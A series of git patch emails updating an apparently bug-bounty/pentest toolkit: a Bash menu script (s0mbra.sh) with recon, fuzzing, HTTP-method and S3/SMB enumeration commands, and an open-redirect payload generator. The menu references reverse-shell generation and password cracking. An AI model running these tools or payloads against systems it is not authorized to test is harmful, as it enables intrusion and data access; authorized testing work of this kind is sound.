in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 43f0abf972ae66dbc87f2a92f8052234fa211a24 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 21:36:12 +0100 Subject: [PATCH 213/369] [s0mbra] run recon with default set of tools when no options passed --- s0mbra.sh | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0994f1b..4a7e0e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,14 +277,25 @@ takealook() { recon() { HOSTNAME=$1 - # set options: - NMAP=$(echo $2|grep 'nmap'|wc -l) - NIKTO=$(echo $2|grep 'nikto'|wc -l) - VHOSTS=$(echo $2|grep 'vhosts'|wc -l) - FFUF=$(echo $2|grep 'ffuf'|wc -l) - FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) - X8=$(echo $2|grep 'x8'|wc -l) - SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + # set proto: + if [[ -z $2 ]]; then + # default options: + NMAP="1" + NIKTO="1" + FFUF="1" + FEROXBUSTER="1" + X8="1" + SUBDOMANIZER="1" + else + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) + X8=$(echo $2|grep 'x8'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + fi # set proto: if [[ -z $3 ]]; then From f5e228ab2064b9ddd6b21028a2c77e291426003e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 22 May 2022 15:21:07 +0100 Subject: [PATCH 214/369] [s0mbra] hasher command; main menu improvements --- s0mbra.sh | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4a7e0e3..5dd2ed5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -624,6 +624,13 @@ b64() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# hash/encode string +hshr() { + echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" + hasher $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # executes HTTP requests to most common HTTP ports get() { PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) @@ -731,6 +738,9 @@ case "$cmd" in b64) b64 "$2" ;; + hasher) + hshr "$2" + ;; fu) fu "$2" "$3" "$4" ;; @@ -748,16 +758,15 @@ case "$cmd" in ;; *) clear - echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" - echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -791,6 +800,10 @@ case "$cmd" in echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "$CYAN hasher $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CLR" ;; esac From 8a0d9b60db303677f65e5d68fb4f0dc460c213ec Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 23 May 2022 12:39:43 +0100 Subject: [PATCH 215/369] [s0mbra] get command with both HTTP and HTTPS requets to each port --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 5dd2ed5..6f530c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -637,6 +637,8 @@ get() { echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + curl -I -m 10 http://$1:$PORT + echo -e "$YELLOW[s0mbra] Executing HTTPS request to port $PORT...$CLR" curl -I -m 10 https://$1:$PORT echo done From 3c2fb82c4177caeffb775ace02e549d04479abe4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 25 May 2022 18:23:19 +0100 Subject: [PATCH 216/369] [s0mbra] add / at the end of -u argument --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6f530c6..a56b79c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -376,13 +376,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 2da276c4c8c686ebb8986110882dd49c56b75361 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 28 May 2022 10:17:10 +0100 Subject: [PATCH 217/369] [s0mbra] extract API endpoints from file (in progress) --- s0mbra.sh | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index a56b79c..09c0538 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -387,6 +387,16 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +#extracts API endpoint urls (eg. "/api/user/create") +endpoints() { + clear + FILE=$1 + PATH=$2 + echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" + grep --color -n "$PATH" $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + api_fuzz() { clear echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" @@ -749,6 +759,9 @@ case "$cmd" in get) get "$2" ;; + endpoints) + endpoints "$2" "$3" + ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -767,6 +780,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From ac5146855f8782817487761cde9d5a4e87935a77 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 29 May 2022 22:36:45 +0100 Subject: [PATCH 218/369] [s0mbra] Fix for grep command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 09c0538..43cfd2a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -393,7 +393,7 @@ endpoints() { FILE=$1 PATH=$2 echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" - grep --color -n "$PATH" $1 + /usr/bin/grep --color -n -e "$PATH" $FILE echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 22ab23eae1d655143f5a6b7c0695abb7102517bf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 30 May 2022 00:03:39 +0100 Subject: [PATCH 219/369] [s0mbra] s3ls command to list content of directory on S3 bucket --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 43cfd2a..1e80640 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -507,6 +507,14 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } + +s3ls() { + clear + echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" + aws s3 ls "s3://$1/$2/" 2> /dev/null + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # coverts .dex file to .jar archive dex_to_jar() { clear @@ -768,6 +776,9 @@ case "$cmd" in s3go) s3go "$2" "$3" ;; + s3ls) + s3ls "$2" "$3" + ;; generate_shells) generate_shells "$2" "$3" ;; @@ -787,6 +798,7 @@ case "$cmd" in echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" From 920ae2ff63c7411ebba527d6223faad9ba672026 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 31 May 2022 00:30:13 +0100 Subject: [PATCH 220/369] [s0mbra] rename s3go to s3get --- s0mbra.sh | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1e80640..d84e87f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -487,7 +487,8 @@ s3() { echo -e "\n$BLUE[s0mbra] Done." } -s3go() { +# downloads file from S3 directory +s3get() { clear echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" @@ -507,7 +508,28 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# uploads file to S3 directory +s3gput() { + clear + echo -e "$BLUE[s0mbra] Uploading $2 to $1...$CLR" + + # aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ We can read ACL of $3$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't check $2 ACL... :/$CLR" + # fi + + # aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't get $2 :/$CLR" + # fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} +# Lists content of the folder on S3 bucket s3ls() { clear echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" @@ -773,8 +795,8 @@ case "$cmd" in apifuzz) api_fuzz "$2" "$3" ;; - s3go) - s3go "$2" "$3" + s3get) + s3get "$2" "$3" ;; s3ls) s3ls "$2" "$3" @@ -797,7 +819,7 @@ case "$cmd" in echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$CYAN s3get $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 651f096817cd81c1632f24a053f81873985de4cf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 3 Jun 2022 22:02:36 +0100 Subject: [PATCH 221/369] [s0mbra] menu update --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d84e87f..72e4ebc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -827,7 +827,6 @@ case "$cmd" in echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" From fe1efd4622273f9c7add9c8c6988148248a90945 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Jun 2022 12:18:59 +0100 Subject: [PATCH 222/369] [redirgen.py] Refactoring (in progress) --- redir_gen/redirgen.py | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index e1116a4..80c458f 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -3,12 +3,30 @@ import re import argparse +import string + + +def generate(payload, target, dest, param=None) -> str: + ''' + generates and returns single payload + ''' + payload = payload.rstrip() + payload = re.sub("TARGET", target, payload) + payload = re.sub("DEST", dest, payload) + # if param: + # payload = re.sub("PARAM", param, payload) + return payload + parser = argparse.ArgumentParser() -parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) +parser.add_argument("--target", "-t", action="store", + help="Enter the target address", required=True) parser.add_argument("--dest", "-d", action="store", help="Enter the address where you want to redirect to", required=True) -parser.add_argument("--output", "-o", action="store", help="Enter output file name") +parser.add_argument("--output", "-o", action="store", + help="Enter output file name") +# parser.add_argument("--param", "-p", action="store", +# help="Vulnerable parameter") args = parser.parse_args() payloads = [] @@ -17,17 +35,14 @@ junk = re.compile(r"https?://") target = junk.sub("", args.target) dest = junk.sub("", args.dest) - with open("payloads.txt", "r") as handle: templates = handle.readlines() for payload in templates: - payload = payload.rstrip() - payload = re.sub("TARGET", target, payload) - payload = re.sub("DEST", dest, payload) + payload = generate(payload, target, dest) print(payload) payloads.append(payload) if args.output: with open(args.output, "w")as handle: - [handle.write(f"{x.rstrip()}\n") for x in payloads] \ No newline at end of file + [handle.write(f"{x.rstrip()}\n") for x in payloads] From 486bb2246a45b0fa31d1426b00f195dd2d716272 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Jun 2022 20:00:54 +0100 Subject: [PATCH 223/369] [s0mbra] Menu improvements --- s0mbra.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 72e4ebc..fb71b1d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -836,12 +836,11 @@ case "$cmd" in echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: SOURCE CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 7ccc3914e905c7dd22dac369be32f8d05f20abaf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 10 Jun 2022 17:43:32 +0100 Subject: [PATCH 224/369] [s0mbra] methods command to enumerate available HTTP methods on web server --- s0mbra.sh | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index fb71b1d..2b81bd2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -685,6 +685,60 @@ get() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# enumerates available HTTP methods on host +methods() { + METHODS=( + OPTIONS + GET + HEAD + POST + PUT + DELETE + TRACE + PURGE + CONNECT + PROPFIND + PROPPATCH + MKCOL + COPY + MOVE + LOCK + UNLOCK + VERSION-CONTROL + REPORT + CHECKOUT + CHECKIN + UNCHECKOUT + MKWORKSPACE + UPDATE + LABEL + MERGE + BASELINE-CONTROL + MKACTIVITY + ORDERPATCH + ACL + PATCH + SEARCH + ARBITRARY + BIND + LINK + MKCALENDAR + MKREDIRECTREF + PRI + QUERY + REBIND + UNBIND + UNLINK + UPDATEREDIRECTREF) + echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" + for HTTP_METHOD in "${METHODS[@]}"; do + echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + echo + done + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 clear @@ -789,6 +843,9 @@ case "$cmd" in get) get "$2" ;; + methods) + methods "$2" + ;; endpoints) endpoints "$2" "$3" ;; @@ -811,8 +868,9 @@ case "$cmd" in echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" + echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From e66bfa22672e0ce1d3b98a2c4ce3ff34c665cfbd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 11 Jun 2022 22:04:05 +0100 Subject: [PATCH 225/369] [redirgen] Refactoring --- redir_gen/redirgen.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index 80c458f..fe69c5a 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -3,7 +3,6 @@ import re import argparse -import string def generate(payload, target, dest, param=None) -> str: @@ -18,6 +17,14 @@ def generate(payload, target, dest, param=None) -> str: return payload +def save_output(output: str) -> None: + ''' + Saves output to file defined as out param + ''' + with open(output, "w") as handle: + [handle.write(f"{x.rstrip()}\n") for x in payloads] + + parser = argparse.ArgumentParser() parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) @@ -44,5 +51,4 @@ def generate(payload, target, dest, param=None) -> str: payloads.append(payload) if args.output: - with open(args.output, "w")as handle: - [handle.write(f"{x.rstrip()}\n") for x in payloads] + save_output(args.output) From 106fb41ac931fadf4f45f5b92bee6c35270d98e1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 12 Jun 2022 09:35:26 +0100 Subject: [PATCH 226/369] [redirgen] Refactoring --- redir_gen/redirgen.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index fe69c5a..7f4d643 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -12,8 +12,8 @@ def generate(payload, target, dest, param=None) -> str: payload = payload.rstrip() payload = re.sub("TARGET", target, payload) payload = re.sub("DEST", dest, payload) - # if param: - # payload = re.sub("PARAM", param, payload) + if param: + payload = re.sub("PARAM", param, payload) return payload @@ -32,8 +32,8 @@ def save_output(output: str) -> None: required=True) parser.add_argument("--output", "-o", action="store", help="Enter output file name") -# parser.add_argument("--param", "-p", action="store", -# help="Vulnerable parameter") +parser.add_argument("--param", "-p", action="store", + help="Vulnerable parameter") args = parser.parse_args() payloads = [] @@ -46,7 +46,7 @@ def save_output(output: str) -> None: templates = handle.readlines() for payload in templates: - payload = generate(payload, target, dest) + payload = generate(payload, target, dest, args.param) print(payload) payloads.append(payload) From ab4d46117ec562109f27396f64fe4b295a50a491 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 13 Jun 2022 21:40:56 +0100 Subject: [PATCH 227/369] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4eec1a7..ba52965 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ security-tools ============== -Collection of simple security tools created in Python. +Small security related tools created in Python and Bash for CTF players, bug bounty hunters, pentesters and developers. From bf6a234d2e10400dc422197fc499e31981004c2e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Jun 2022 13:42:39 +0100 Subject: [PATCH 228/369] [bucket-disclose.sh] Forked from Frans Rosen Gist --- bucket-disclose.sh | 217 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 217 insertions(+) create mode 100755 bucket-disclose.sh diff --git a/bucket-disclose.sh b/bucket-disclose.sh new file mode 100755 index 0000000..b9c0e09 --- /dev/null +++ b/bucket-disclose.sh @@ -0,0 +1,217 @@ +#!/bin/bash + +# Using error messages to decloak an S3 